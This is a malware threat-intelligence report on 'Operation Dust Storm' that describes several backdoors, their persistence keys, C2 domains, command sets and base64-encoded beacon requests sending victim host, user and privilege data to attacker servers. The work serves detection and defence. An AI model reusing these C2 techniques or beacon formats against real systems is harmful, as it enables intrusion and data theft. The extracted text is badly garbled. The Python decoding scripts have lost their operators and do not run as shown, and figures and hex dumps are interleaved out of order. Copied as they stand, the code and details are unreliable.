We have decided that even though disclosure often forces attackers to change, it also enables defenders to better detect and expel real threats from their environments.
SPEAR would like to thank the Japanese Computer Emergency Response Team (JP-CERT) for their cooperation, assistance, and time during our investigation.
NOTE: A large number of the older Misdat domains were sinkholed by a private entity in late December 2015.
The domains currently point to the IP address 58.158.177.102.
If anyone has more information or knows who operates this sinkhole, please contact us at: threat-intel [at] cylance [dot] com.
8 OPERATION DUST STORM 9OPERATION DUST STORM NETWORK-BASED INDICATORS Observed network traffic was always base64 encoded plain text over a raw socket to common ports like 80, 443, or 1433.
A sample initial beacon packet is shown below.
logonHostnameWindows XP100112bd56d32fbda703a98c87689c92325d90 Figure 6: Initial Beacon Packet Base64 Decoded The string logon always preceded any other information.
In the instance above, the hostname of the victims system, operating system version, unique sample identifier (SPEAR believes this is a date: 1/12/2010), as well as the unique MD5 used for the mutex were sent to the server.
Once it registers with the C2, the backdoor sends the string YWN0aXZlfA which decodes to active.
The backdoor will then continue to send that string and wait until it receives one of the following commands from the C2 server: Command Function shell Initiates a new connection that provides shell functionality to the attacker to execute commands.
Subcommands include shellstart, command and stop.
files Initiates a new connection that provides file management and enumeration capabilities to the attacker.
Subcommands include filelist, dirlist, driver (enu- merates logical drives), renamefile, delete, run, open and stop.
upload Provides the ability to upload files directly to the C2.
down Provides the ability to download files from the C2.
restart Restarts the victim system through a call to the Windows API ExitWindowsEx.
closeos Shuts down the system via ExitWindowsEx API.
dclose Closes the socket connection to the C2.
uclose Appears to do the same as the dclose command.
unintall Deletes the Active Setup registry key and deletes the backdoor before termi- nating the process.
Figure 7: Network Commands Supported by the Misdat Backdoor DETAILS The backdoors were relatively simple and provided the attacker the ability to upload and download files, manipulate and enumerate files, execute shell commands, disconnect from the C2, uninstall the backdoor, and shutdown or restart the system.
The backdoors could also potentially take the command line parameters /ok or /start the switches changed the user context under which the process runs.
If no switch was provided when executed, the backdoor will copy itself to CommonFiles\ Unique Identifier\msdtc.exe, where the unique identifier is the first ten characters of the MD5 hash used as the mutex.
It will then configure one of the Active Setup and associated registry keys above to establish persistence on the system.
SPEAR identified and reversed the encoding mechanism used for obfuscating network callback information and what appeared to be a unique campaign identifier.
The following script can be used to decode these obfuscated strings.
def decode_chars(a, b): return chr((26  (ord(a) - ord(A)))  (ord(b) - ord(A))) def decode(s): rolling_key  0x783 result for index in xrange(len(s)/2): result  decode_chars(s[index  2], s[(index  2)  1]) real_result for index in xrange(len(result)): i  index  1 real_result  chr(((rolling_key  8)  0xff)  ord(result[i - 1])) rolling_key  0xdbd9  (ord(decode_chars(s[index  2], s[(index 2)  1]))  rolling_key)  0xda3b return real_result Figure 8: Python Script for Decoding Obfuscated Misdat Strings FILE CHARACTERISTICS SHA256  Campaign ID  Network Callback 63bd3f80387e3f2c7130bc3b36474c24 edca4f063161b25bfe0c90b378b9c19c WNA Domain: 323332.3322.org Ports: 80, 443, 1433 74ff3b246fde30bb3c14483279d4b003 12038957e3956bf8682362044ddccf42 XSI Domain: 323332.3322.org Ports: 80,443, 1433 38238f14d63d14075824cc9afd9a3b84 df9b9c2f1408ac440458196a9e690db6 UAL Domain: msejake.7766.org Ports: 80, 443, 1433 2978c6cfff1754c85a4a22b6a72dc9e6 0b596b54e65ed5ab2c80b8bc259ca5dc QPO Domain: msevpn.3322.org Ports: 80, 443, 8080 580c7ed2b624a0dfa749909d3e1107046 5bd310663d30fb6fe3532ad45d57b8a QPO Domain: msevpn.3322.org Ports: 80, 443, 8080 861edc857e53ff072947c2befc3c372c9a 954a7de5c48c53b99c64ff99b69dbd QPO Domain: msevpn.3322.org Ports: 80, 443, 8080 4241a9371023e7452475117ff1fcd672 62dab56bf1943b5e0c73ff2b2e41f876 YAM Domain: msevpn.3322.org Ports: 80, 443, 8080 Figure 9: Decoded Campaign Identifiers and Network Callback Information Also of interest was the fact that all of the samples would attempt to detect whether or not the victim was using a Japanese keyboard via a call to the Windows API GetKeyboardType and report that fact back to the attacker.
10 OPERATION DUST STORM 11OPERATION DUST STORM MIS-TYPE HYBRID BACKDOOR (2012) In 2012, Operation Dust Storm slowly migrated to a hybridized backdoor, which actually contained two entirely separate backdoors within the same binary.
This backdoor would first attempt to establish an interactive shell using the Misdat base64 encoded network protocol over a raw TCP socket.
If the initial communication to the first C2 failed, the backdoor would fallback to a secondary HTTP-based protocol and communicate to an alternate C2.
Hybrid variants SPEAR identified were compressed with UPX version 3.03.
FILE CHARACTERISTICS SHA256  File Size  Resource Compile Time b1aed59dc59a4ef4c7d2b6e67983e4867e 04ba35c42372eb3b6ad969bd6a6041 30,720 Bytes 02-23-2012 14:47:18 UTC 93c1c7a666833f5f68d2315dc014dc6c2 446c91c848130e228e84376b0aaf441 30,720 Bytes 06-18-2012 22:39:02 UTC Figure 10: File Details of the Hybrid Backdoors HOST-BASED INDICATORS Volatile Evidence: Will create a 32-bit Mutex based upon the MD5 hash of a unique string comprised of the volume serial number, decrypted network configuration data, encoded network configuration data, and encoded campaign identifier May create a temporary user on the system named Lost_Unique Identifier with the password fuck6Unique Identifier May create the folder System\Unique Identifier temporarily.
May create files in AppData\Unique Identifier that end in tmp.exe May create the files: AppData\Unique Identifier\HOSTRURKLSR Contains the results of the command cmd.exe /c ipconfig /all AppData\Unique Identifier\NEWERSSEMP Contains the results of the command cmd.exe /c net user Username File System Modifications: The backdoor will copy itself to AppData\Unique Identifier\msdtc.exe  where the unique identifier is the first ten characters of the MD5 hash Registry Modifications: The malware may create the registry key HKCU\Software\bkfouerioyou Creates the value StubPath pointing to AppData\Unique Identifier\msdtc.exe Will create one of these registry keys for persistence: HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\6afa8072-b2b1-31a8-b5c1- Unique Identifier  First 12bytes HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\3BF41072-B2B1-31A8-B5C1- Unique Identifier  First 12bytes NETWORK-BASED INDICATORS The malware will make DNS requests for the domains smtp.adobekr.com and mail.glkjcorp.com or auto.glkjcorp.com.
Both samples were configured to communicate first to smtp.adobekr.com using the Misdat network protocol described above over TCP port 80, 443, and 25.
If a response was not received from the C2, the samples would fallback to the secondary HTTP protocol and communicate to the alternate C2 using the same TCP ports.
POST /index.asp HTTP/1.1 Accept: Accept: /, /index.asp, mail.glkjcorp.com Content-Type: application/x-www-form-urlencoded User-Agent: FirefoxApp Host: mail.glkjcorp.com Content-Length: 334 Cache-Control: no-cache ide263314342d1f1b9typepoststypeinfodataV2luZG93cyBYUA0KTUFMV0FSRS9j- dWNrb28vQWRta W5pc3RyYXRvcnMNCkNyZWF0ZSBVc2VyIExvc3RfZTI2MzMxI- FN1Y2Nlc3MuDQpDcmVhdGUgRGlyIFN1Y2Nlc3 MuDQpXcml0ZSBSZWdLZXkgRX- Jyb3IuDQpGaWxlU3lzdGVtIDogTlRGUw0KU3lzdGVtIFJ1blRpbWU6MCBkYXkwI GhvdXJzMTUgbWludXRlcw0KDQoNCiBDb3VudCA9IDANCk9wZW5TY01hbmFnZXIgT0suDQo Figure 11: Initial S-Type Beacon The initial POST request always used the static User-Agent FirefoxApp and contained operating system information, user information, the results of several permissions tests, the file system, and system uptime.
If the backdoor did not receive a response, it would then try to communicate the same base64 encoded information in the URI of a GET request.
Windows XP Hostname/Username/Administrators Create User Lost_e26331 Success.
Create Dir Success.
Write RegKey Error.
FileSystem : NTFS System RunTime:0 day0 hours15 minutes Count  0 OpenScManager OK.
Figure 12: Contents of the Decoded POST Request from the Figure Above Follow-on requests used the User-Agent of the default browser on the system as evidenced below.
GET /index.asp?mmide263314342d1f1b9 HTTP/1.1 Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET CLR 1.1.4322) Accept-Encoding: gzip, deflate Host: mail.glkjcorp.com Connection: Keep-AliveOpenScManager OK.
Figure 13: Follow-on HTTP Traffic The id and mmid fields in the figures above both used the first 16 characters of the unique identifier created for the mutex.
The Misdat protocol provided the attacker most of the features of a full-fledged backdoor, while the secondary protocol appeared to primarily be used as an update mechanism to load additional malware on the system.
12 OPERATION DUST STORM 13OPERATION DUST STORM NETWORK-BASED INDICATORS DETAILS The backdoor could be executed with three different switches, /ok, /Start, or /fuck.
These switches affected the context under which the process would be run and whether or not the binary would delete itself once executed.
Switch Descriptive Purpose Self-Delete /ok Executed the malware directly under the current running process using the context of the user that started the application (can be system).
No /Start Executed the malware under explorer.exe in the context of whatever user executed the application (can be system).
This was the switch used by the malware when setting persistence in the registry.
No /fuck Forced execution of the malware under explorer.exe in the context of the user running explorer.exe (scanned active processes and located the explorer process).
No No Started the malware in a process called msdtc.exe which ran as an orphaned process under explorer.exe Yes Figure 14: Description of Command Line Execution Switches for the Backdoor The backdoor attempted to run a number of tests to determine the privilege level of the compromised user, including whether or not a user can be added to the system, whether a directory can be created in the System folder, and whether the user can access the service manager via a call to OpenSCManagerA.
The user test was performed by utilizing the NetUserAdd and NetUserDel Windows APIs the test attempted to create the temporary user Lost_Unique Identifier with the password fuck6Unique Identifier.
If the secondary network protocol was activated, the backdoor would also execute two commands via the command interpreter to gather system information: cmd.exe /c ipconfig /all and cmd.exe /c net user Username.
It would temporarily write the output of these commands to the files, AppData\Unique Identifier\HOSTRURKLSR and AppData\Unique Identifier\NEWERSSEMP respectively.
This information was then base64 encoded and transmitted to the C2 server within the URI of a GET request.
The S-Type network protocol is described in greater detail below.
Also of note is that the backdoor would continue to attempt to beacon to smtp.adobekr.com on port 25 even if communication to the secondary C2 could be established.
The configuration information contained within these backdoors could be decoded using the same script provided in Figure 8.
FILE CHARACTERISTICS SHA256 Network Callbacks Identifier b1aed59dc59a4ef4c7d2b6e67983e4867 e04ba35c42372eb3b6ad969bd6a6041 Primary: smtp.adobekr.com Secondary: hxxp://mail.glkjcorp.com/index.asp TCP Port: 80, 443, 25 HLD 93c1c7a666833f5f68d2315dc014dc6c24 46c91c848130e228e84376b0aaf441 Primary: smtp.adobekr.com Secondary: hxxp://auto.glkjcorp.com/us/index.asp TCP Port: 80, 443, 25 GKB Figure 15: Secondary C2 Servers and Campaign Identifiers by Sample S-TYPE BACKDOOR (2013-2014) After experimenting with a hybrid of the Misdat and S-Type backdoors, in 2013 Operation Dust Storm abandoned the earlier Misdat network protocol entirely.
This was likely a direct result of the demonstrated effectiveness of an HTTP-based protocol for command and control, or simply an adaptation to more corporations leveraging web-based proxies.
All samples identified were programmed using Borland Delphi and made use of custom classes to implement common backdoor functionality.
The majority of samples SPEAR identified in 2013 were packed with UPX version 3.03, while later 2014 variants were not.
FILE CHARACTERISTICS SHA256 File Size Resource Compile Time 83399bd0e09b2c2886a58890bbbf6a8d 4e6cd3aa32b091045dd6739c637acfd5 32,768 Bytes HLD Figure 16: File Characteristics of the S-Type Backdoor HOST-BASED INDICATORS Volatile Evidence: May create a mutex named Unique Identifier_KB10B2D1_CIlFD2C May create a temporary user on the system named Lost_Unique Identifier with the password pond6Unique Identifier May create the folder System\Unique Identifier temporarily File System Modifications: The backdoor will copy itself to CommonFiles\Unique Identifier\msdtc.exe while other observed variants used Appdata\Unique Identifier\msdtc.exe May create the file HOMEPATH\Start Menu\Programs\Startup\Realtek Unique Identifier.lnk This shortcut will point to the msdtc.exe file in CommonFiles with the /Start switch May create temporary files in temp\random numbers.tmp Registry Modifications: Will temporarily create the registry key HKCU\SOFTWARE\AdobeSoft May create the registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ IMJPMIJ8.13 characters of Unique Identifier May create the Registry keys: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ssl.projectscorp.net\http HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ssl.projectscorp.net\https NETWORK-BASED INDICATORS The backdoor communicated to ssl.projectscorp.net and pic.elecarrow.com primarily on port 80 however, communication would also fallback to port 443 or 8080 if initial communication failed.
The backdoor used HTTP to communicate with the C2 servers data was transmitted base64 encoded in the URI of GET requests or sent in the body of a POST request.
It used two hardcoded User-Agents, FirefoxApp and Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 SV1) in initial requests, as well as the default User-Agent of the system in its later communications.
14 OPERATION DUST STORM 15OPERATION DUST STORM HostnameWindows XP/Username1??2343?
?TZ-131013 Hostname/Username/Administrators Create User Error.
0 Create Directory Success.
OpenScManager OK.
FileSystem : NTFS No AutoConfigURL.
No ProxyAddress.
Figure 19: Decoded Data Parameter from Figure Above The backdoor attempts to run a number of tests to determine the privilege level of the compromised user, including whether or not a user can be added to the system, whether a directory can be created in the System folder, and whether the user can access the service manager.
This information is transmitted along with the type of file system and any proxy information necessary to access the Internet.
The backdoor may also make network requests with the following variables in the URI typeie, stypeinfodata, stypesrvdata, stypecondata, stypeuserdata, mmid, typepoststype, or status.
DETAILS In a similar way as previous Dust Storm backdoors, this one attempted to detect whether or not the victim was using a Japanese keyboard via the GetKeyboardType API.
The backdoor itself provided the attacker the ability to execute shell commands, enumerate system and network information, manipulate files, and download and execute an arbitrary file.
Initial observations suggest this was largely a reconnaissance platform that would then be upgraded by the attacker to a full-featured backdoor.
The backdoor performed the initial tests described above by first attempting to add the user Lost_Unique Identifier with the password pond Unique Identifier to the system using the NetUserAdd API if successful, it then removed this user via the NetUserDel API.
The backdoor then attempted to create the folder System\Unique Identifier with the CreateDirectoryA API and removed it using the RemoveDirectoryA API.
Once these two tests were complete, it attempted to access the Windows Service Control Manager through a call to OpenSCManagerA.
Once it communicated this information along with proxy and file system info via the initial POST requests, the backdoor attempted to execute a sequence of commands to enumerate information about the system and local network.
net start Ipconfig /all net user or net user /domain depending on the value of USERDNSDOMAIN Figure 20: Initial Commands Executed on the System by the Backdoor The results of these commands are transmitted base64 encoded as the data parameter within the URI, /pic/index.
asp?idUnique_Identifiertypeiestypeinfodata.
Once the results of these commands are transmitted back to the C2 server, the backdoor will continue to beacon to the URI /pic/index.asp?mmidUnique Identifier and wait for either commands to execute or an updated binary to download and execute.
Any file downloaded from the C2 is sent base64 encoded and has the name Unique Identifier.txt.
If the file is a binary, it is written to disk as tmp.exe and executed via WinExec.
The backdoor will then communicate back to the C2 with either statusrun succeed if successful, or statusError Code if there was an error.
The Unique Identifier referenced above is an eight-character hex-string calculated by adding the volume serial number of the C drive (or D drive if there is no C) and a CRC32 hash of the first 0x90 bytes of the encoded configuration for the backdoor.
This was quite different from the earlier Misdat variants, as it can be reversed to yield the serial number of the drive.
The backdoor decodes its configuration information from offset 0xE9FC.
It skips the first 4 bytes, then subtracts 0x2 from each byte and XORs the resultant values with the first byte of the configuration block, 0x58 in this case.
Example HTTP requests are presented in the figures below.
POST hxxp://pic.elecarrow.com:80//Item/2016757.aspx HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 SV1) Host: pic.elecarrow.com:80 Content-Length: 93 Connection: Keep-Alive Cache-Control: no-cache POST /pic/index.asp HTTP/1.1 Accept: Accept: /, /pic/index.asp, ssl.projectscorp.net Content-Type: application/x-www-form-urlencoded User-Agent: FirefoxApp Host: ssl.projectscorp.net Content-Length: 354 Cache-Control: no-cache idE8C465FCtypepoststypeinfodataVVNFUi1ENjkyMUY2MjE1fFdpbmRvd- 3MgWFAvQWRtaW5pc3RyYXRvcnwxzOwyM9ChyrE0M7fWfFRaLTEzMTAxM3wNClVTRVIt- RDY5MjFGNjIxNS9BZG1pbmlzdHJhdG9yL0FkbWluaXN0cmF0b3JzDQpDcmVhdGUgVXNl- ciBFcnJvci4gMA0KQ3JlYXRlIERpcmVjdG9yeSBTdWNjZXNzLg0KT3BlblNjTWFuYWdl- ciBPSy4NCkZpbGVTeXN0ZW0gOiBOVEZTDQpObyBBdXRvQ29uZmlnVVJMLg0KTm8gUHJveHlB- ZGRyZXNzLg Figure 17: Initial POST Requests Sent by the S-Type Backdoor GET /pic/index.asp?idE8C465FCtypeiestypeinfodataVVNFUi1ENjkyMUY2M- jE1fFdpbmRvd3MgWFAvQWRtaW5pc3RyYXRvcnwxzOwyM9ChyrE0M7fWfFRaLTEzMTAxM3wNClVTR- VItRDY5MjFGNjIxNS9BZG1pbmlzdHJhdG9yL0FkbWluaXN0cmF0b3JzDQpDcmVhdGUgVXN- lciBFcnJvci4gMA0KQ3JlYXRlIERpcmVjdG9yeSBTdWNjZXNzLg0KT3BlblNjTWFuYWdlciBPSy4N- CkZpbGVTeXN0ZW0gOiBOVEZTDQpObyBBdXRvQ29uZmlnVVJMLg0KTm8gUHJveHlBZGRyZXNzLg HTTP/1.1 Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET CLR 1.1.4322) Accept-Encoding: gzip, deflate Host: ssl.projectscorp.net Connection: Keep-Alive GET /pic/index.asp?mmidE8C465FC HTTP/1.1 Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET CLR 1.1.4322) Accept-Encoding: gzip, deflate Host: ssl.projectscorp.net Connection: Keep-Alive Figure 18: Sample Get Requests Sent by the S-Type Backdoor 16 OPERATION DUST STORM 17OPERATION DUST STORM 0000E9F0                                         58 2C 74 14             X,t.
0000EA00   73 32 2E 2E 2A 64 79 79  2D 2D 36 78 2A 2C 39 34   s2..dyy--6x,94 0000EA10   3F 3D 2E 2D 3D 39 2C 2A  78 38 3F 2E 79 2A 33 3D   ?
.-9,x8?.y3 0000EA20   79 33 38 3E 3F 22 78 3B  2D 2A 5A 5A 5A 5A 5A 5A   y38?x-ZZZZZZ 0000EA30   5A 5A 5A 5A 4B 2A 33 3D  78 3F 36 3F 3D 3B 2C 2C   ZZZZK3x?6?,,
0000EA40   39 31 78 3D 39 37 5A 5A  5A 5A 5A 5A 5A 5A 5A 5A   91x97ZZZZZZZZZZ 0000EA50   5A 5A 5A 5A 0A 5A E5 5B  CA 49 5A 5A 5A 5A 5A 5A   ZZZZ.Z[IZZZZZZ 0000EA60   5A 5A 5A 5A 5A 5A 5A 5A  5A 5A 5A 5A 5A 5A 5A 5A   ZZZZZZZZZZZZZZZZ 0000EA70   5A 5A 5A 5A 5A 5A 5A 5A  5A 5A 5A 5A 5A 5A 5A 5A   ZZZZZZZZZZZZZZZZ 0000EA80   5A 5A 5A 5A 43 4F D3 5A  5A 5A 5A 5A 5A 5A 5A 5A   ZZZZCOZZZZZZZZZ Figure 21: Encoded Configuration Block 0000EA00   29 68 74 74 70 3A 2F 2F 73 73 6C 2E 70 72 6F 6A  )hxxp://ssl.proj 0000EA10   65 63 74 73 63 6F 72 70 2E 6E 65 74 2F 70 69 63  ectscorp.net/pic 0000EA20   2F 69 6E 64 65 78 2E 61 73 70 00 00 00 00 00 00  /index.asp...... 0000EA30   00 00 00 00 11 70 69 63 2E 65 6C 65 63 61 72 72  .....pic.elecarr 0000EA40   6F 77 2E 63 6F 6D 00 00 00 00 00 00 00 00 00 00  ow.com.......... 0000EA50   00 00 00 00 50 00 BB 01 90 1F 00 00 00 00 00 00  ....P......... 0000EA60   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 0000EA70   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 0000EA80   00 00 00 00 19 15 89 00 00 00 00 00 00 00 00 00  ...............
Figure 22: Decoded Configuration Block Text strings in the decoded block are each prefaced by their length in hex.
In addition to the URL hxxp://ssl.projectscorp.net/ pic/index.asp and the domain pic.elecarrow.com, the ports that attempt to beacon on 80, 443, and 8080 are highlighted in green, blue, and purple respectively.
The following Python function can be used to decode these configuration blocks.
def sub_single_byte_xor(buf,subb, key): out for i in buf: out  chr((ord(i)-subb)  key) return out sub_single_byte_xor(buf,0x2,0x58) Figure 23: Python Script to Decode w-Type Configuration Data 50 00 BB 01 90 1F ZLIB BACKDOOR (2014-2015) This backdoor was the preferred second-stage implant for the group throughout 2014 and 2015.
The malware was a full- featured backdoor with built-in NTLM proxy authentication support which was designed to be run as a ServiceDLL.
Each sample SPEAR identified was customized to the specific victim environment and programmed using Microsoft Visual C 6.
As a result, our team has included hashes of samples that were modified to redact victim information.
SPEAR has provided as much information as possible so other victims can identify incidents.
FILE CHARACTERISTICS Modified SHA256  File Size  Compile Time 73bc9650ab7871340ef1a6f68dfa71a650 2b9d9bee85181666da17a63a74178a 143,872 Bytes 1/23/2015 3:22:25 UTC 8cf3152169f3d7e05734b6b562752a0 0d566c4ea830c455ea094fa19dec4423c 136,702 Bytes 1/05/2015 01:14:50 UTC bbc6d1b87352c3ae109b2c6c97baaf75 6b66378b6af8dbd7387229d04fc0b14 134,144 Bytes 1/16/2015 3:21:31 UTC b4405f0caff1b786612aabbaa7431993f 44c83a2c8f8c0946a980da9c0c09156 108,032 Bytes 1/23/2015 3:23:06 UTC 85b80ed2aa871257f293a074d80eb64a 621ec74ec70c0cf1703f5f5adab23a67 113,664 Bytes 1/05/2015 01:18:15 UTC Figure 24: Shareable File Characteristics Additional File Details: Exports the functions DriverDev, DriverInit, DriverLaunch, DriverProc Mimics the resource version information of a legitimate Realtek Semiconductor Module, or Nvidia Module, or Synaptics module PE checksum of zero HOST-BASED INDICATORS File System Modifications: All observed backdoor locations: WINDIR\system32\cryptpol.dll All Users AppData\cryptpol.dll All Users AppData\wdd.ocx All Users AppData\athmgmt.dll All Users AppData\rasctl.dll All Users AppData\rtcomdll.dll All Users AppData\msnt.dll May create randomly named temporary files in AppData ending in .tmp May create temporary files in the temp directory that begin with the letters tmp Registry Modifications: Will create all necessary keys to configure the backdoor to run as a ServiceDLL, including redefining ServiceMain to point to another of the backdoors exported functions - all observed service names are below: CryptPol  Cryptography Policy Control Service AtherosMgMt  Atheros Communications Management Service WDDSVC  Windows Display Driver RASCtrl  Remote Access Control Center 18 OPERATION DUST STORM 19OPERATION DUST STORM 00000320   FF FF FF FF 61 F6 90 7C  4E 6A DD 77 87 6A DD 77   aNjwjw 00000336   D4 B2 B8 00 03 00 00 80  FC 00 00 00 18 00 00 00   ........... 00000352   FC 00 00 00 8C B2 B8 00  40 00 00 00 00 00 00 00   ........... 00000368   00 00 00 00 8A 00 8A 00  D4 B2 B8 00 88 B2 B8 00   ........ 00000384   00 00 00 00 18 B2 B8 00  84 B2 B8 00 DC FF B8 00   ........ 00000400   78 17 DF 77 90 6A DD 77  FF FF FF FF 87 6A DD 77   x.wjwjw 00000416   95 6B DD 77 13 BD 00 00  A8 B2 B8 00 8B 70 DD 77   kw....pw 00000432   00 01 00 00 9C B2 B8 00  C0 B2 B8 00 D4 BA B8 00   ....... 00000448   B8 B2 B8 00 B0 B2 B8 00  00 08 00 00 72 00 00 00   ......r... 00000464   00 00 00 00 1A 00 1C 00  FA CF 90 7C 03 6C DD 77   .........lw 00000480   00 01 00 00 00 00 00 00  BC B2 B8 00 AB 6C DD 77   .........lw 00000496   C4 B2 B8 00 A8 CD B8 00  7A DD 00 10 00 00 00 00   ..z...... 00000512   58 FC B3 00 70 50 02 10  00 00 00 00 53 00 2D 00   X.pP......S.-.
00000528   31 00 2D 00 35 00 2D 00  31 00 38 00 89 5D 95 10   1.-.5.-.1.8.
].
00000544   1C 01 00 00 05 00 00 00  01 00 00 00 28 0A 00 00   ............(... 00000560   02 00 00 00 53 00 65 00  72 00 76 00 69 00 63 00   ....S.e.r.v.i.c.
00000576   65 00 20 00 50 00 61 00  63 00 6B 00 20 00 33 00   e. .P.a.c.k.
.3.
00000592   00 00 5C 00 43 00 75 00  72 00 72 00 65 00 6E 00   ..\.C.u.r.r.e.n.
00000608   74 00 56 00 65 00 72 00  73 00 69 00 6F 00 6E 00   t.V.e.r.s.i.o.n.
00000624   5C 00 49 00 6E 00 74 00  65 00 72 00 6E 00 65 00   \.I.n.t.e.r.n.e.
00000640   74 00 20 00 53 00 65 00  74 00 74 00 69 00 6E 00   t. .S.e.t.t.i.n.
00000656   67 00 73 00 00 00 00 00  00 00 00 00 00 00 00 00   g.s............. ---Truncated--- 00000816   00 00 00 00 03 00 00 00  00 01 01 00 00 00 00 00   ................ 00000832   53 00 59 00 53 00 54 00  45 00 4D 00 00 00 00 00   S.Y.S.T.E.M..... --Truncated--- 00001264   00 00 00 00 00 00 00 00  00 00 00 00 E0 B5 B8 00   ............. 00001280   99 51 91 7C 08 B6 B8 00  E4 00 08 00 04 00 00 00   Q......... 00001296   D4 00 08 00 00 00 08 00  20 B6 B8 00 8B 53 91 7C   ....... .S 00001312   08 B6 B8 00 D4 00 08 00  00 00 00 00 10 00 00 00   ............. 00001328   00 00 00 00 A4 B6 B8 00  7A CF 90 7C 7B 8B 91 7C   .....z 00001344   FF FF FF FF 40 B6 B8 00  01 00 00 00 D7 07 00 00   ........
Figure 26: Decompressed Contents of Initial POST Request The hostname, context the backdoor was running under, operating system information, and user information were transmitted back to the C2 during a controlled test.
DETAILS Anecdotal evidence suggests the attackers made few modifications to the backdoors themselves and instead simply updated the configuration information as needed.
As a result, most of the backdoors identified had a PE checksum mismatch between the stated value and calculated value.
The backdoor provided the attacker with the ability to upload and download files, enumerate files and drives, enumerate system information, enumerate and manipulate Windows services, enumerate and impersonate logon sessions, mimic keystrokes and mouse input, capture screenshots, and execute shell commands.
The backdoor itself contained very few unique plain-text strings or any other type of identifying information outside of the Import Table.
The backdoor would initialize strings of interest on the stack by pushing one character at a time this method has become increasingly common among malware authors to avoid antivirus heuristic methods.
The backdoors configuration information was stored Zlib compressed within the binary with the size of the compressed data saved as a double word right before the start of the header 0x78 0x9C.
The decompressed data contained the Windows service name, Windows display NETWORK-BASED INDICATORS The backdoor communicates to the preconfigured C2 servers via HTTP POST and GET requests.
The contents of the communications are compressed using the standard Zlib compression library (http://www.zlib.net/).
During SPEARs limited testing, the User-Agent was always static and set to Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1).
POST /EKTV/index.php?id0 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1) Host: bcsr.wordoscorp.com Accept: / Cache-Control: no-cache Connection: Keep-Alive Content-Length: 498 POST /EKTV/index.php?id3580792616 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1) Host: bcsr.wordoscorp.com Accept: / Cache-Control: no-cache Connection: Keep-Alive Content-Length: 490 Figure 25: Initial POST Requests Sent by the Zlib Backdoor 00000000  1C 12 00 00 1E 12 00 00 FF FF FF FF 40 05 00 00   ........... 00000016  FE CD 18 9C 55 00 53 00 45 00 52 00 2D 00 44 00   .U.S.E.R.-.D.
00000032  36 00 39 00 32 00 31 00 46 00 36 00 32 00 31 00   6.9.2.1.F.6.2.1.
00000048  35 00 00 00 DA D2 90 7C DC FF B8 00 20 E9 90 7C   5.... 00000064  68 F6 90 7C FF FF FF FF 61 F6 90 7C EE D4 DD 77   haw 00000080  00 00 00 00 E0 CC B8 00 00 00 00 00 F9 D4 DD 77   .........w 00000096  00 00 00 00 00 00 00 00 FC 00 00 00 00 00 00 00   ............... 00000112  20 00 00 00 00 00 00 00 9E 7E E5 14 52 55 D1 01    ........RU.
00000128  00 00 00 00 10 00 00 00 53 00 2D 00 31 00 2D 00   ........S.-.1.-.
00000144  35 00 2D 00 9C B2 B8 00 6E D9 90 7C DC B1 B8 00   5.-..n. 00000160  98 B1 B8 00 5C F6 90 7C 61 F6 90 7C DC B1 B8 00   .\a.
00000176  6E D9 90 7C 9C B2 B8 00 74 B1 B8 00 7A D9 90 7C   n.t.z 00000192  DC FF B8 00 20 E9 90 7C 68 F6 90 7C FF FF FF FF   .
h 00000208  61 F6 90 7C EB 6F DD 77 34 00 00 C0 00 00 00 00   aow4...... 00000224  D4 BA B8 00 F6 6F DD 77 C0 B2 B8 00 00 01 00 00   .ow..... 00000240  B8 B2 B8 00 B0 B2 B8 00 00 01 00 00 D4 BA B8 00   ....... 00000256  DC B1 B8 00 00 00 00 00  00 00 00 00 00 00 00 00   ............. 00000272  34 00 00 C0 0C B2 B8 00  5C F6 90 7C 61 F6 90 7C   4....\a 00000288  00 00 00 00 8C B2 B8 00  2D F6 90 7C E8 B1 B8 00   .....-.
00000304  EC B1 B8 00 54 B2 B8 00  20 E9 90 7C 68 F6 90 7C   .T.
h (cont) 20 OPERATION DUST STORM 21OPERATION DUST STORM name, and a description for the service.
It also contained the filename the backdoor would use, the domain names and ports to beacon on, and the internal corporate proxy to use.
00000000   43 00 72 00 79 00 70 00  74 00 50 00 6F 00 6C 00   C.r.y.p.t.
P.o.l.
--Truncated--- 00000060   00 00 00 00 43 00 72 00  79 00 70 00 74 00 6F 00   ....C.r.y.p.t.o.
00000070   67 00 72 00 61 00 70 00  68 00 79 00 20 00 50 00   g.r.a.p.h.y.
.P.
00000080   6F 00 6C 00 69 00 63 00  79 00 20 00 43 00 6F 00   o.l.i.c.y.
.C.o.
00000090   6E 00 74 00 72 00 6F 00  6C 00 20 00 53 00 65 00   n.t.r.o.l.
.S.e.
000000A0   72 00 76 00 69 00 63 00  65 00 00 00 00 00 00 00   r.v.i.c.e....... 000000B0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................ --Truncated--- 00000120   00 00 00 00 00 00 00 00  00 00 00 00 50 00 72 00   ............P.r.
00000130   6F 00 76 00 69 00 64 00  65 00 20 00 74 00 68 00   o.v.i.d.e.
.t.h.
00000140   65 00 20 00 70 00 6F 00  6C 00 69 00 63 00 79 00   e. .p.o.l.i.c.y.
